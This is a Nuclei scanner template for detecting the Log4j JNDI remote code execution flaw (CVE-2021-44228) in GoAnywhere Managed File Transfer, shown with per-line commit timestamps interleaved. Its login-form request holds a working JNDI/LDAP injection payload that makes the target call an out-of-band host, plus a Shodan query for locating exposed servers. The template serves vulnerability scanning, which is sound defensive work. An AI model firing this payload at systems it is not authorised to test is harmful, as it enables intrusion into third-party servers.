2022-07-27 08:51:59 +00:00
|
|
|
id: goanywhere-mft-log4j-rce
|
2022-07-22 01:42:43 +00:00
|
|
|
|
|
|
|
info:
|
2022-10-10 19:51:42 +00:00
|
|
|
name: GoAnywhere Managed File Transfer - Remote Code Execution (Apache Log4j)
|
2022-07-22 01:42:43 +00:00
|
|
|
author: pussycat0x
|
|
|
|
severity: critical
|
2022-10-10 19:51:42 +00:00
|
|
|
description: GoAnywhere Managed File Transfer is vulnerable to a remote command execution (RCE) issue via the included Apache Log4j.
|
2022-07-22 01:42:43 +00:00
|
|
|
reference:
|
|
|
|
- https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps
|
2022-07-22 18:11:57 +00:00
|
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
2022-07-22 01:42:43 +00:00
|
|
|
classification:
|
2022-10-10 20:06:39 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10
|
2022-10-25 13:40:49 +00:00
|
|
|
cve-id: CVE-2021-44228
|
2022-10-25 14:05:39 +00:00
|
|
|
cwe-id: CWE-77
|
2022-07-22 18:11:57 +00:00
|
|
|
metadata:
|
2023-10-14 11:27:55 +00:00
|
|
|
verified: true
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 2
|
2022-07-27 08:51:59 +00:00
|
|
|
shodan-query: http.html:"GoAnywhere Managed File Transfer"
|
2022-10-10 20:06:39 +00:00
|
|
|
tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere,kev
|
2023-05-03 18:21:23 +00:00
|
|
|
variables:
|
|
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-07-22 01:42:43 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /goanywhere/auth/Login.xhtml HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /goanywhere/auth/Login.xhtml HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
Referer: {{RootURL}}/goanywhere/auth/Login.xhtml
|
|
|
|
|
2023-05-08 05:37:00 +00:00
|
|
|
formPanel%3AloginGrid%3Aname=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.name.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}}
|
2022-07-22 01:42:43 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2023-07-16 13:32:52 +00:00
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
2022-07-22 01:42:43 +00:00
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
regex:
|
2023-11-17 08:48:58 +00:00
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2022-07-22 01:42:43 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: kval
|
|
|
|
kval:
|
2023-11-17 08:48:58 +00:00
|
|
|
- interactsh_ip
|
2022-07-22 01:42:43 +00:00
|
|
|
|
2023-05-03 18:21:23 +00:00
|
|
|
- type: regex
|
2023-11-17 08:48:58 +00:00
|
|
|
part: interactsh_request
|
2023-05-03 18:21:23 +00:00
|
|
|
group: 2
|
|
|
|
regex:
|
2023-11-17 08:48:58 +00:00
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
|
|
|
|
- type: regex
|
2023-07-16 13:32:52 +00:00
|
|
|
part: interactsh_request
|
2023-11-17 08:48:58 +00:00
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2023-05-03 18:21:23 +00:00
|
|
|
|
2022-07-22 01:42:43 +00:00
|
|
|
- type: regex
|
2023-11-17 08:48:58 +00:00
|
|
|
name: view
|
2022-07-22 01:42:43 +00:00
|
|
|
group: 1
|
|
|
|
regex:
|
2023-11-17 08:48:58 +00:00
|
|
|
- 'javax\.faces\.ViewState:1" value="(.*)" autocomplete'
|
|
|
|
internal: true
|
|
|
|
part: body
|
2023-11-27 10:10:24 +00:00
|
|
|
# digest: 490a0046304402201d50f4f0242377561c9d6b5ffce982ec019a6a4b9634f6450302b14e6c1397ea02207c51afcf769775403eb51773348db75e8eb8878e993ec3c7b12456406f9be53b:922c64590222798bb761d5b6d8e72950
|